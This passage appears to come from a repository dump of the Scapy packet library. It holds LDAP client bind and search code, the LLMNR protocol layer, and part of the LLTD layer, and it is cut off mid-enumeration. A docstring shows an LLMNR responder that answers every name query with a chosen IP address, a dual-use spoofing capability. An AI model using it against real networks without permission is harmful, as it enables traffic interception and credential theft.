resp = self.sr1(\n                    LDAP_BindRequest(\n                        bind_name=ASN1_STRING(b\"\"),\n                        authentication=LDAP_Authentication_SaslCredentials(\n                            mechanism=ASN1_STRING(self.mech.value),\n                            credentials=ASN1_STRING(bytes(token)),\n                        ),\n                    )\n                )\n                if not isinstance(resp.protocolOp, LDAP_BindResponse):\n                    raise LDAP_Exception(\n                        \"%s bind failed !\" % self.mech.name,\n                        resp=resp,\n                    )\n                val = resp.protocolOp.serverSaslCredsData\n                if not val:\n                    status = resp.protocolOp.resultCode\n                    break\n                self.sspcontext, token, status = self.ssp.GSS_Init_sec_context(\n                    self.sspcontext,\n                    input_token=GSSAPI_BLOB(val),\n                    target_name=\"ldap/\" + self.host,\n                    chan_bindings=self.chan_bindings,\n                )\n        else:\n            status = GSS_S_COMPLETE\n        if status != GSS_S_COMPLETE:\n            raise LDAP_Exception(\n                \"%s bind failed !\" % self.mech.name,\n                resp=resp,\n            )\n        elif self.mech == LDAP_BIND_MECHS.SASL_GSSAPI:\n            # GSSAPI has 2 extra exchanges\n            # https://datatracker.ietf.org/doc/html/rfc2222#section-7.2.1\n            resp = self.sr1(\n                LDAP_BindRequest(\n                    bind_name=ASN1_STRING(b\"\"),\n                    authentication=LDAP_Authentication_SaslCredentials(\n                        mechanism=ASN1_STRING(self.mech.value),\n                        credentials=None,\n                    ),\n                )\n            )\n            # Parse server-supported layers\n            saslOptions = LDAP_SASL_GSSAPI_SsfCap(\n                self.ssp.GSS_Unwrap(\n                    self.sspcontext,\n                    GSSAPI_BLOB_SIGNATURE(resp.protocolOp.serverSaslCredsData),\n                )\n            )\n            if self.sign and not saslOptions.supported_security_layers.INTEGRITY:\n                raise RuntimeError(\"GSSAPI SASL failed to negotiate INTEGRITY !\")\n            if (\n                self.encrypt\n                and not saslOptions.supported_security_layers.CONFIDENTIALITY\n            ):\n                raise RuntimeError(\"GSSAPI SASL failed to negotiate CONFIDENTIALITY !\")\n            # Announce client-supported layers\n            saslOptions = LDAP_SASL_GSSAPI_SsfCap(\n                supported_security_layers=(\n                    \"+\".join(\n                        ([\"INTEGRITY\"] if self.sign else [])\n                        + ([\"CONFIDENTIALITY\"] if self.encrypt else [])\n                    )\n                    if (self.sign or self.encrypt)\n                    else \"NONE\"\n                ),\n                # Same as server\n                max_output_token_size=saslOptions.max_output_token_size,\n            )\n            resp = self.sr1(\n                LDAP_BindRequest(\n                    bind_name=ASN1_STRING(b\"\"),\n                    authentication=LDAP_Authentication_SaslCredentials(\n                        mechanism=ASN1_STRING(self.mech.value),\n                        credentials=self.ssp.GSS_Wrap(\n                            self.sspcontext,\n                            bytes(saslOptions),\n                            # We still haven't finished negotiating\n                            conf_req_flag=False,\n                        ),\n                    ),\n                )\n            )\n            if resp.protocolOp.resultCode != 0:\n                raise LDAP_Exception(\n                    \"GSSAPI SASL failed to negotiate client security flags !\",\n                    resp=resp,\n                )\n\n        # If we use SPNEGO and NTLMSSP was used, understand we can't use sign\n        if self.mech == LDAP_BIND_MECHS.SASL_GSS_SPNEGO:\n            from scapy.layers.ntlm import NTLMSSP\n\n            if isinstance(self.sspcontext.ssp, NTLMSSP):\n                self.sign = False\n\n        # SASL wrapping is now available.\n        self.sasl_wrap = self.encrypt or self.sign\n        if self.sasl_wrap:\n            self.sock.closed = True  # prevent closing by marking it as already closed.\n            self.sock = StreamSocket(self.sock.ins, LDAP_SASL_Buffer)\n\n        # Success.\n        if self.verb:\n            print(\"%s bind succeeded !\" % self.mech.name)\n        self.bound = True\n\n    _TEXT_REG = re.compile(b\"^[%s]*$\" % re.escape(string.printable.encode()))\n\n    def search(\n        self,\n        baseObject: str = \"\",\n        filter: str = \"\",\n        scope=0,\n        derefAliases=0,\n        sizeLimit=300000,\n        timeLimit=3000,\n        attrsOnly=0,\n        attributes: List[str] = [],\n        controls: List[LDAP_Control] = [],\n    ) -> Dict[str, List[Any]]:\n        \"\"\"\n        Perform a LDAP search.\n\n        :param baseObject: the dn of the base object to search in.\n        :param filter: the filter to apply to the search (currently unsupported)\n        :param scope: 0=baseObject, 1=singleLevel, 2=wholeSubtree\n        \"\"\"\n        if baseObject == \"rootDSE\":\n            baseObject = \"\"\n        if filter:\n            filter = LDAP_Filter.from_rfc2254_string(filter)\n        else:\n            # Default filter: (objectClass=*)\n            filter = LDAP_Filter(\n                filter=LDAP_FilterPresent(\n                    present=ASN1_STRING(b\"objectClass\"),\n                )\n            )\n        # we loop as we might need more than one packet thanks to paging\n        cookie = b\"\"\n        entries = {}\n        while True:\n            resp = self.sr1(\n                LDAP_SearchRequest(\n                    filter=filter,\n                    attributes=[\n                        LDAP_SearchRequestAttribute(type=ASN1_STRING(attr))\n                        for attr in attributes\n                    ],\n                    baseObject=ASN1_STRING(baseObject),\n                    scope=ASN1_ENUMERATED(scope),\n                    derefAliases=ASN1_ENUMERATED(derefAliases),\n                    sizeLimit=ASN1_INTEGER(sizeLimit),\n                    timeLimit=ASN1_INTEGER(timeLimit),\n                    attrsOnly=ASN1_BOOLEAN(attrsOnly),\n                ),\n                controls=(\n                    controls\n                    + (\n                        [\n                            # This control is only usable when bound.\n                            LDAP_Control(\n                                controlType=\"1.2.840.113556.1.4.319\",\n                                criticality=True,\n                                controlValue=LDAP_realSearchControlValue(\n                                    size=100,  # paging to 100 per 100\n                                    cookie=cookie,\n                                ),\n                            )\n                        ]\n                        if self.bound\n                        else []\n                    )\n                ),\n                timeout=self.timeout,\n            )\n            if LDAP_SearchResponseResultDone not in resp:\n                resp.show()\n                raise TimeoutError(\"Search timed out.\")\n            # Now, reassemble the results\n\n            def _s(x):\n                try:\n                    return x.decode()\n                except UnicodeDecodeError:\n                    return x\n\n            def _ssafe(x):\n                if self._TEXT_REG.match(x):\n                    return x.decode()\n                else:\n                    return x\n\n            # For each individual packet response\n            while resp:\n                # Find all 'LDAP' layers\n                if LDAP not in resp:\n                    log_runtime.warning(\"Invalid response: %s\", repr(resp))\n                    break\n                if LDAP_SearchResponseEntry in resp.protocolOp:\n                    attrs = {\n                        _s(attr.type.val): [_ssafe(x.value.val) for x in attr.values]\n                        for attr in resp.protocolOp.attributes\n                    }\n                    entries[_s(resp.protocolOp.objectName.val)] = attrs\n                elif LDAP_SearchResponseResultDone in resp.protocolOp:\n                    resultCode = resp.protocolOp.resultCode\n                    if resultCode != 0x0:  # != success\n                        log_runtime.warning(\n                            resp.protocolOp.sprintf(\"Got response: %resultCode%\")\n                        )\n                        raise LDAP_Exception(\n                            \"LDAP search failed !\",\n                            resp=resp,\n                        )\n                    else:\n                        # success\n                        if resp.Controls:\n                            # We have controls back\n                            realSearchControlValue = next(\n                                (\n                                    c.controlValue\n                                    for c in resp.Controls\n                                    if isinstance(\n                                        c.controlValue, LDAP_realSearchControlValue\n                                    )\n                                ),\n                                None,\n                            )\n                            if realSearchControlValue is not None:\n                                # has paging !\n                                cookie = realSearchControlValue.cookie.val\n                                break\n                    break\n                resp = resp.payload\n            # If we have a cookie, continue\n            if not cookie:\n                break\n        return entries\n\n    def modify(\n        self,\n        object: str,\n        changes: List[LDAP_ModifyRequestChange],\n        controls: List[LDAP_Control] = [],\n    ) -> None:\n        \"\"\"\n        Perform a LDAP modify request.\n\n        :returns:\n        \"\"\"\n        resp = self.sr1(\n            LDAP_ModifyRequest(\n                object=object,\n                changes=changes,\n            ),\n            controls=controls,\n            timeout=self.timeout,\n        )\n        if (\n            LDAP_ModifyResponse not in resp.protocolOp\n            or resp.protocolOp.resultCode != 0\n        ):\n            raise LDAP_Exception(\n                \"LDAP modify failed !\",\n                resp=resp,\n            )\n\n    def add(\n        self,\n        entry: str,\n        attributes: Union[Dict[str, List[Any]], List[ASN1_Packet]],\n        controls: List[LDAP_Control] = [],\n    ):\n        \"\"\"\n        Perform a LDAP add request.\n\n        :param attributes: the attributes to add. We support two formats:\n            - a list of LDAP_Attribute (or LDAP_PartialAttribute)\n            - a dict following {attribute: [list of values]}\n\n        :returns:\n        \"\"\"\n        # We handle the two cases in the type of attributes\n        if isinstance(attributes, dict):\n            attributes = [\n                LDAP_Attribute(\n                    type=ASN1_STRING(k),\n                    values=[\n                        LDAP_AttributeValue(\n                            value=ASN1_STRING(x),\n                        )\n                        for x in v\n                    ],\n                )\n                for k, v in attributes.items()\n            ]\n\n        resp = self.sr1(\n            LDAP_AddRequest(\n                entry=ASN1_STRING(entry),\n                attributes=attributes,\n            ),\n            controls=controls,\n            timeout=self.timeout,\n        )\n        if LDAP_AddResponse not in resp.protocolOp or resp.protocolOp.resultCode != 0:\n            raise LDAP_Exception(\n                \"LDAP add failed !\",\n                resp=resp,\n            )\n\n    def modifydn(\n        self,\n        entry: str,\n        newdn: str,\n        deleteoldrdn=True,\n        controls: List[LDAP_Control] = [],\n    ):\n        \"\"\"\n        Perform a LDAP modify DN request.\n\n        ..note:: This functions calculates the relative DN and superior required for\n            LDAP ModifyDN automatically.\n\n        :param entry: the DN of the entry to rename.\n        :param newdn: the new FULL DN of the entry.\n        :returns:\n        \"\"\"\n        # RFC4511 sect 4.9\n        # Calculate the newrdn (relative DN) and superior\n        newrdn, newSuperior = newdn.split(\",\", 1)\n        _, cur_superior = entry.split(\",\", 1)\n        # If the superior hasn't changed, don't update it.\n        if cur_superior == newSuperior:\n            newSuperior = None\n        # Send the request\n        resp = self.sr1(\n            LDAP_ModifyDNRequest(\n                entry=entry,\n                newrdn=newrdn,\n                newSuperior=newSuperior,\n                deleteoldrdn=deleteoldrdn,\n            ),\n            controls=controls,\n            timeout=self.timeout,\n        )\n        if (\n            LDAP_ModifyDNResponse not in resp.protocolOp\n            or resp.protocolOp.resultCode != 0\n        ):\n            raise LDAP_Exception(\n                \"LDAP modify failed !\",\n                resp=resp,\n            )\n\n    def close(self):\n        if self.verb:\n            print(\"X Connection closed\\n\")\n        self.sock.close()\n        self.bound = False\n        self.sspcontext = None\n"
  },
  {
    "path": "scapy/layers/llmnr.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nLLMNR (Link Local Multicast Node Resolution).\n\n[RFC 4795]\n\nLLMNR is based on the DNS packet format (RFC1035 Section 4)\nRFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno\n\"\"\"\n\nimport struct\n\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    DestField,\n    DestIP6Field,\n    ShortField,\n)\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.compat import orb\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.dns import (\n    DNSCompressedPacket,\n    DNS_am,\n    DNS,\n    DNSQR,\n    DNSRR,\n)\n\n\n_LLMNR_IPv6_mcast_Addr = \"FF02:0:0:0:0:0:1:3\"\n_LLMNR_IPv4_mcast_addr = \"224.0.0.252\"\n\n\nclass LLMNRQuery(DNSCompressedPacket):\n    name = \"Link Local Multicast Node Resolution - Query\"\n    qd = []\n    fields_desc = [\n        ShortField(\"id\", 0),\n        BitField(\"qr\", 0, 1),\n        BitEnumField(\"opcode\", 0, 4, {0: \"QUERY\"}),\n        BitField(\"c\", 0, 1),\n        BitField(\"tc\", 0, 1),\n        BitField(\"t\", 0, 1),\n        BitField(\"z\", 0, 4)\n    ] + DNS.fields_desc[-9:]\n    overload_fields = {UDP: {\"sport\": 5355, \"dport\": 5355}}\n\n    def get_full(self):\n        # Required for DNSCompressedPacket\n        return self.original\n\n    def hashret(self):\n        return struct.pack(\"!H\", self.id)\n\n    def mysummary(self):\n        s = self.__class__.__name__\n        if self.qr:\n            if self.an and isinstance(self.an[0], DNSRR):\n                s += \" '%s' is at '%s'\" % (\n                    self.an[0].rrname.decode(errors=\"backslashreplace\"),\n                    self.an[0].rdata,\n                )\n            else:\n                s += \" [malformed]\"\n        elif self.qd and isinstance(self.qd[0], DNSQR):\n            s += \" who has '%s'\" % (\n                self.qd[0].qname.decode(errors=\"backslashreplace\"),\n            )\n        else:\n            s += \" [malformed]\"\n        return s, [UDP]\n\n\nclass LLMNRResponse(LLMNRQuery):\n    name = \"Link Local Multicast Node Resolution - Response\"\n    qr = 1\n\n    def answers(self, other):\n        return (isinstance(other, LLMNRQuery) and\n                self.id == other.id and\n                self.qr == 1 and\n                other.qr == 0)\n\n\nclass _LLMNR(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if len(_pkt) >= 2:\n            if (orb(_pkt[2]) & 0x80):  # Response\n                return LLMNRResponse\n            else:                  # Query\n                return LLMNRQuery\n        return cls\n\n\nbind_bottom_up(UDP, _LLMNR, dport=5355)\nbind_bottom_up(UDP, _LLMNR, sport=5355)\nbind_layers(UDP, _LLMNR, sport=5355, dport=5355)\n\nDestField.bind_addr(LLMNRQuery, _LLMNR_IPv4_mcast_addr, dport=5355)\nDestField.bind_addr(LLMNRResponse, _LLMNR_IPv4_mcast_addr, dport=5355)\nDestIP6Field.bind_addr(LLMNRQuery, _LLMNR_IPv6_mcast_Addr, dport=5355)\nDestIP6Field.bind_addr(LLMNRResponse, _LLMNR_IPv6_mcast_Addr, dport=5355)\n\n\nclass LLMNR_am(DNS_am):\n    \"\"\"\n    LLMNR answering machine.\n\n    This has the same arguments as DNS_am. See help(DNS_am)\n\n    Example::\n\n        >>> llmnrd(joker=\"192.168.0.2\", iface=\"eth0\")\n        >>> llmnrd(match={\"TEST\": \"192.168.0.2\"})\n    \"\"\"\n    function_name = \"llmnrd\"\n    filter = \"udp port 5355\"\n    cls = LLMNRQuery\n\n\n# LLMNRQuery(id=RandShort(), qd=DNSQR(qname=\"vista.\")))\n"
  },
  {
    "path": "scapy/layers/lltd.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"LLTD Protocol\n\nhttps://msdn.microsoft.com/en-us/library/cc233983.aspx\n\n\"\"\"\n\nfrom array import array\n\nfrom scapy.fields import BitField, FlagsField, ByteField, ByteEnumField, \\\n    ShortField, ShortEnumField, ThreeBytesField, IntField, IntEnumField, \\\n    LongField, MultiEnumField, FieldLenField, FieldListField, \\\n    PacketListField, StrLenField, StrLenFieldUtf16, ConditionalField, MACField\nfrom scapy.packet import Packet, Padding, bind_layers\nfrom scapy.plist import PacketList\nfrom scapy.layers.l2 import Ether\nfrom scapy.layers.inet import IPField\nfrom scapy.layers.inet6 import IP6Field\nfrom scapy.data import ETHER_ANY\nfrom scapy.compat import orb, chb\n\n\n# Protocol layers\n##################\n\n\nclass LLTD(Packet):\n    name = \"LLTD\"\n    answer_hashret = {\n        # (tos, function) tuple mapping (answer -> query), used by\n        # .hashret()\n        (1, 1): (0, 0),\n        (0, 12): (0, 11),\n    }\n    fields_desc = [\n        ByteField(\"version\", 1),\n        ByteEnumField(\"tos\", 0, {\n            0: \"Topology discovery\",\n            1: \"Quick discovery\",\n            2: \"QoS diagnostics\",\n        }),\n        ByteField(\"reserved\", 0),\n        MultiEnumField(\"function\", 0, {\n            0: {\n                0: \"Discover\",\n                1: \"Hello\",\n                2: \"Emit\",\n                3: \"Train\",\n                4: \"Probe\",\n                5: \"Ack\",\n                6: \"Query\",\n                7: \"QueryResp\",\n                8: \"Reset\",\n                9: \"Charge\",\n                10: \"Flat\",\n                11: \"QueryLargeTlv\",\n                12: \"QueryLargeTlvResp\",\n            },\n            1: {\n                0: \"Discover\",\n                1: \"Hello\",\n                8: \"Reset\",\n            },\n            2: {\n                0: \"QosInitializeSink\",\n                1: \"QosReady\",\n                2: \"QosProbe\",\n                3: \"QosQuery\",\n                4: \"QosQueryResp\",\n                5: \"QosReset\",\n                6: \"QosError\",\n                7: \"QosAck\",\n                8: \"QosCounterSnapshot\",\n                9: \"QosCounterResult\",\n                10: \"QosCounterLease\",\n            },\n        }, depends_on=lambda pkt: pkt.tos, fmt=\"B\"),\n        MACField(\"real_dst\", None),\n        MACField(\"real_src\", None),\n        ConditionalField(ShortField(\"xid\", 0),\n                         lambda pkt: pkt.function in [0, 8]),\n        ConditionalField(ShortField(\"seq\", 0),\n                         lambda pkt: pkt.function not in [0, 8]),\n    ]\n\n    def post_build(self, pkt, pay):\n        if (self.real_dst is None or self.real_src is None) and \\\n           isinstance(self.underlayer, Ether):\n            eth = self.underlayer\n            if self.real_dst is None:\n                pkt = (pkt[:4] + eth.fields_desc[0].i2m(eth, eth.dst) +\n                       pkt[10:])\n            if self.real_src is None:\n                pkt = (pkt[:10] + eth.fields_desc[1].i2m(eth, eth.src) +\n                       pkt[16:])\n        return pkt + pay\n\n    def mysummary(self):\n        if isinstance(self.underlayer, Ether):\n            return self.underlayer.sprintf(\n                'LLTD %src% > %dst% %LLTD.tos% - %LLTD.function%'\n            )\n        else:\n            return self.sprintf('LLTD %tos% - %function%')\n\n    def hashret(self):\n        tos, function = self.tos, self.function\n        return b\"%c%c\" % self.answer_hashret.get((tos, function),\n                                                 (tos, function))\n\n    def answers(self, other):\n        if not isinstance(other, LLTD):\n            return False\n        if self.tos == 0:\n            if self.function == 0 and isinstance(self.payload, LLTDDiscover) \\\n               and len(self[LLTDDiscover].stations_list) == 1:\n                # \"Topology discovery - Discover\" with one MAC address\n                # discovered answers a \"Quick discovery - Hello\"\n                return other.tos == 1 and \\\n                    other.function == 1 and \\\n                    LLTDAttributeHostID in other and \\\n                    other[LLTDAttributeHostID].mac == \\\n                    self[LLTDDiscover].stations_list[0]\n            elif self.function == 12:\n                # \"Topology discovery - QueryLargeTlvResp\" answers\n                # \"Topology discovery - QueryLargeTlv\" with same .seq\n                # value\n                return other.tos == 0 and other.function == 11 \\\n                    and other.seq == self.seq\n        elif self.tos == 1:\n            if self.function == 1 and isinstance(self.payload, LLTDHello):\n                # \"Quick discovery - Hello\" answers a \"Topology\n                # discovery - Discover\"\n                return other.tos == 0 and other.function == 0 and \\\n                    other.real_src == self.current_mapper_address\n        return False\n\n\nclass LLTDHello(Packet):\n    name = \"LLTD - Hello\"\n    show_summary = False\n    fields_desc = [\n        ShortField(\"gen_number\", 0),\n        MACField(\"current_mapper_address\", ETHER_ANY),\n        MACField(\"apparent_mapper_address\", ETHER_ANY),\n    ]\n\n\nclass LLTDDiscover(Packet):\n    name = \"LLTD - Discover\"\n    fields_desc = [\n        ShortField(\"gen_number\", 0),\n        FieldLenField(\"stations_count\", None, count_of=\"stations_list\",\n                      fmt=\"H\"),\n        FieldListField(\"stations_list\", [], MACField(\"\", ETHER_ANY),\n                       count_from=lambda pkt: pkt.stations_count)\n    ]\n\n    def mysummary(self):\n        return (self.sprintf(\"Stations: %stations_list%\")\n                if self.stations_list else \"No station\", [LLTD])\n\n\nclass LLTDEmiteeDesc(Packet):\n    name = \"LLTD - Emitee Desc\"\n    fields_desc = [\n        ByteEnumField(\"type\", 0, {0: \"Train\", 1: \"Probe\"}),\n        ByteField(\"pause\", 0),\n        MACField(\"src\", None),\n        MACField(\"dst\", ETHER_ANY),\n    ]\n\n\nclass LLTDEmit(Packet):\n    name = \"LLTD - Emit\"\n    fields_desc = [\n        FieldLenField(\"descs_count\", None, count_of=\"descs_list\",\n                      fmt=\"H\"),\n        PacketListField(\"descs_list\", [], LLTDEmiteeDesc,\n                        count_from=lambda pkt: pkt.descs_count),\n    ]\n\n    def mysummary(self):\n        return \", \".join(desc.sprintf(\"%src% > %dst%\")\n                         for desc in self.descs_list), [LLTD]\n\n\nclass LLTDRecveeDesc(Packet):\n    name = \"LLTD - Recvee Desc\"\n    fields_desc = [\n        ShortEnumField(\"type\", 0, {0: \"Probe\", 1: \"ARP or ICMPv6\"}),\n        MACField(\"real_src\", ETHER_ANY),\n        MACField(\"ether_src\", ETHER_ANY),\n        MACField(\"ether_dst\", ETHER_ANY),\n    ]\n\n\nclass LLTDQueryResp(Packet):\n    name = \"LLTD - Query Response\"\n    fields_desc = [\n        FlagsField(\"flags\", 0, 2, \"ME\"),\n        BitField(\"descs_count\", None, 14),\n        PacketListField(\"descs_list\", [], LLTDRecveeDesc,\n                        count_from=lambda pkt: pkt.descs_count),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.descs_count is None:\n            # descs_count should be a FieldLenField but has an\n            # unsupported format (14 bits)\n            flags = orb(pkt[0]) & 0xc0\n            count = len(self.descs_list)\n            pkt = chb(flags + (count >> 8)) + chb(count % 256) + pkt[2:]\n        return pkt + pay\n\n    def mysummary(self):\n        return self.sprintf(\"%d response%s\" % (\n            self.descs_count,\n            \"s\" if self.descs_count > 1 else \"\")), [LLTD]\n\n\nclass LLTDQueryLargeTlv(Packet):\n    name = \"LLTD - Query Large Tlv\"\n    fields_desc = [\n        ByteEnumField(\"type\", 14, {\n            14: \"Icon image\",\n            17: \"Friendly Name\",\n            19: \"Hardware ID\",\n            22: \"AP Association Table\",\n            24: \"Detailed Icon Image\",\n            26: \"Component Table\",\n            28: \"Repeater AP Table\",\n        }),\n        ThreeBytesField(\"offset\", 0),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"%type% (offset %offset%)\"), [LLTD]\n\n\nclass LLTDQueryLargeTlvResp(Packet):\n    name = \"LLTD - Query Large Tlv Response\"\n    fields_desc = [\n        FlagsField(\"flags\", 0, 2, \"RM\"),\n        BitField(\"len\", None, 14),\n        StrLenField(\"value\", \"\", length_from=lambda pkt: pkt.len)\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.len is None:\n            # len should be a FieldLenField but has an unsupported\n            # format (14 bits)\n            flags = orb(pkt[0]) & 0xc0\n            length = len(self.value)\n            pkt = chb(flags + (length >> 8)) + chb(length % 256) + pkt[2:]\n        return pkt + pay\n\n    def mysummary(self):\n        return self.sprintf(\"%%len%% bytes%s\" % (\n            \" (last)\" if not self.flags & 2 else \"\"\n        )), [LLTD]\n\n\nclass LLTDAttribute(Packet):\n    name = \"LLTD Attribute\"\n    show_indent = False\n    show_summary = False\n    # section 2.2.1.1\n    fields_desc = [\n        ByteEnumField(\"type\", 0, {\n            0: \"End Of Property\",\n            1: \"Host ID\",\n            2: \"Characteristics\",\n            3: \"Physical Medium\",\n            7: \"IPv4 Address\",\n            9: \"802.11 Max Rate\",\n            10: \"Performance Counter Frequency\",\n            12: \"Link Speed\",\n            14: \"Icon Image\",\n            15: \"Machine Name\",\n            18: \"Device UUID\",\n            20: \"QoS Characteristics\",\n            21: \"802.11 Physical Medium\",\n            24: \"Detailed Icon Image\",\n        }),\n        FieldLenField(\"len\", None, length_of=\"value\", fmt=\"B\"),\n        StrLenField(\"value\", \"\", length_from=lambda pkt: pkt.len),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *_, **kargs):\n        if _pkt:\n            cmd = orb(_pkt[0])\n        elif \"type\" in kargs:\n            cmd = kargs[\"type\"]\n            if isinstance(cmd, str):\n                cmd = cls.fields_desc[0].s2i[cmd]\n        else:\n            return cls\n        return SPECIFIC_CLASSES.get(cmd, cls)\n\n\nSPECIFIC_CLASSES = {}\n\n\ndef _register_lltd_specific_class(*attr_types):\n    \"\"\"This can be used as a class decorator; if we want to support Python\n    2.5, we have to replace\n\n@_register_lltd_specific_class(x[, y[, ...]])\nclass LLTDAttributeSpecific(LLTDAttribute):\n[...]\n\nby\n\nclass LLTDAttributeSpecific(LLTDAttribute):\n[...]\nLLTDAttributeSpecific = _register_lltd_specific_class(x[, y[, ...]])(\n    LLTDAttributeSpecific\n)\n\n    \"\"\"\n    def _register(cls):\n        for attr_type in attr_types:\n            SPECIFIC_CLASSES[attr_type] = cls\n        type_fld = LLTDAttribute.fields_desc[0].copy()\n        type_fld.default = attr_types[0]\n        cls.fields_desc = [type_fld] + cls.fields_desc\n        return cls\n    return _register\n\n\n@_register_lltd_specific_class(0)\nclass LLTDAttributeEOP(LLTDAttribute):\n    name = \"LLTD Attribute - End Of Property\"\n    fields_desc = []\n\n\n@_register_lltd_specific_class(1)\nclass LLTDAttributeHostID(LLTDAttribute):\n    name = \"LLTD Attribute - Host ID\"\n    fields_desc = [\n        ByteField(\"len\", 6),\n        MACField(\"mac\", ETHER_ANY),\n    ]\n\n    def mysummary(self):\n        return \"ID: %s\" % self.mac, [LLTD, LLTDAttributeMachineName]\n\n\n@_register_lltd_specific_class(2)\nclass LLTDAttributeCharacteristics(LLTDAttribute):\n    name = \"LLTD Attribute - Characteristics\"\n    fields_desc = [\n        # According to MS doc, \"this field MUST be set to 0x02\". But\n        # according to MS implementation, that's wrong.\n        # ByteField(\"len\", 2),\n        FieldLenField(\"len\", None, length_of=\"reserved2\", fmt=\"B\",\n                      adjust=lambda _, x: x + 2),\n        FlagsField(\"flags\", 0, 5, \"PXFML\"),\n        BitField(\"reserved1\", 0, 11),\n        StrLenField(\"reserved2\", \"\", length_from=lambda x: x.len - 2)\n    ]\n\n\n@_register_lltd_specific_class(3)\nclass LLTDAttributePhysicalMedium(LLTDAttribute):\n    name = \"LLTD Attribute - Physical Medium\"\n    fields_desc = [\n        ByteField(\"len\", 4),\n        IntEnumField(\"medium\", 6, {\n            # https://www.iana.org/assignments/ianaiftype-mib/ianaiftype-mib\n            1: \"other\",\n            2: \"regular1822\",\n            3: \"hdh1822\",\n            4: \"ddnX25\",\n            5: \"rfc877x25\",\n            6: \"ethernetCsmacd\",\n            7: \"iso88023Csmacd\",\n            8: \"iso88024TokenBus\",\n            9: \"iso88025TokenRing\",\n            10: \"iso88026Man\",\n            11: \"starLan\",\n            12: \"proteon10Mbit\",\n            13: \"proteon80Mbit\",\n            14: \"hyperchannel\",\n            15: \"fddi\",\n            16: \"lapb\",\n            17: \"sdlc\",\n            18: \"ds1\",\n            19: \"e1\",\n            20: \"basicISDN\",\n            21: \"primaryISDN\",\n            22: \"propPointToPointSerial\",\n            23: \"ppp\",\n            24: \"softwareLoopback\",\n            25: \"eon\",\n            26: \"ethernet3Mbit\",\n            27: \"nsip\",\n            28: \"slip\",\n            29: \"ultra\",\n            30: \"ds3\",\n            31: \"sip\",\n            32: \"frameRelay\",\n            33: \"rs232\",\n            34: \"para\",\n            35: \"arcnet\",\n            36: \"arcnetPlus\",\n            37: \"atm\",\n            38: \"miox25\",\n            39: \"sonet\",\n            40: \"x25ple\",\n            41: \"iso88022llc\",\n            42: \"localTalk\",\n            43: \"smdsDxi\",\n            44: \"frameRelayService\",\n            45: \"v35\",\n            46: \"hssi\",\n            47: \"hippi\",\n            48: \"modem\",\n            49: \"aal5\",\n            50: \"sonetPath\",\n            51: \"sonetVT\",\n            52: \"smdsIcip\",\n            53: \"propVirtual\",\n            54: \"propMultiplexor\",\n            55: \"ieee80212\",\n            56: \"fibreChannel\",\n            57: \"hippiInterface\",\n            58: \"frameRelayInterconnect\",\n            59: \"aflane8023\",\n            60: \"aflane8025\",\n            61: \"cctEmul\",\n            62: \"fastEther\",\n            63: \"isdn\",\n            64: \"v11\",\n            65: \"v36\",\n            66: \"g703at64k\",\n            67: \"g703at2mb\",\n            68: \"qllc\",\n            69: \"fastEtherFX\",\n            70: \"channel\",\n            71: \"ieee80211\",\n            72: \"ibm370parChan\",\n            73: \"escon\",\n            74: \"dlsw\",\n            75: \"isdns\",\n            76: \"isdnu\",\n            77: \"lapd\",\n            78: \"ipSwitch\",\n            79: \"rsrb\",\n            80: \"atmLogical\",\n            81: \"ds0\",\n            82: \"ds0Bundle\",\n            83: \"bsc\",\n            84: \"async\",\n            85: \"cnr\",\n            86: \"iso88025Dtr\",\n            87: \"eplrs\",\n            88: \"arap\",\n            89: \"propCnls\",\n            90: \"hostPad\",\n            91: \"termPad\",\n            92: \"frameRelayMPI\",\n            93: \"x213\",\n            94: \"adsl\",\n            95: \"radsl\",\n            96: \"sdsl\",\n            97: \"vdsl\",\n            98: \"iso88025CRFPInt\",\n            99: \"myrinet\",\n            100: \"voiceEM\",\n            101: \"voiceFXO\",\n            102: \"voiceFXS\",\n            103: \"voiceEncap\",\n            104: \"voiceOverIp\",\n            105: \"atmDxi\",\n            106: \"atmFuni\",\n            107: \"atmIma\",\n            108: \"pppMultilinkBundle\",\n            109: \"ipOverCdlc\",\n            110: \"ipOverClaw\",\n            111: \"stackToStack\",\n            112: \"virtualIpAddress\",\n            113: \"mpc\",\n            114: \"ipOverAtm\",\n            115: \"iso88025Fiber\",\n            116: \"tdlc\",\n            117: \"gigabitEthernet\",\n            118: \"hdlc\",\n            119: \"lapf\",\n            120: \"v37\",\n            121: \"x25mlp\",\n            122: \"x25huntGroup\",\n            123: \"transpHdlc\",\n            124: \"interleave\",\n            125: \"fast\",\n            126: \"ip\",\n            127: \"docsCableMaclayer\",\n            128: \"docsCableDownstream\",\n            129: \"docsCableUpstream\",\n            130: \"a12MppSwitch\",\n            131: \"tunnel\",\n            132: \"coffee\",\n            133: \"ces\",\n            134: \"atmSubInterface\",\n            135: \"l2vlan\",\n            136: \"l3ipvlan\",\n            137: \"l3ipxvlan\",\n            138: \"digitalPowerline\",\n            139: \"mediaMailOverIp\",\n            140: \"dtm\",\n            141: \"dcn\",\n            142: \"ipForward\",\n            143: \"msdsl\",\n            144: \"ieee1394\",\n            145: \"if-gsn\",\n            146: \"dvbRccMacLayer\",\n            147: \"dvbRccDownstream\",\n            148: \"dvbRccUpstream\",\n            149: \"atmVirtual\",\n            150: \"mplsTunnel\",\n            151: \"srp\",\n            152: \"voiceOverAtm\",\n            153: \"voiceOverFrameRelay\",\n            154: \"idsl\",\n            155: \"compositeLink\",\n            156: \"ss7SigLink\",\n            157: \"propWirelessP2P\",\n            158: \"frForward\",\n            159: \"rfc1483\",\n            160: \"usb\",\n            161: \"ieee8023adLag\",\n            162: \"bgppolicyaccounting\",\n            163: \"frf16MfrBundle\",\n            164: \"h323Gatekeeper\",\n            165: \"h323Proxy\",\n            166: \"mpls\",\n    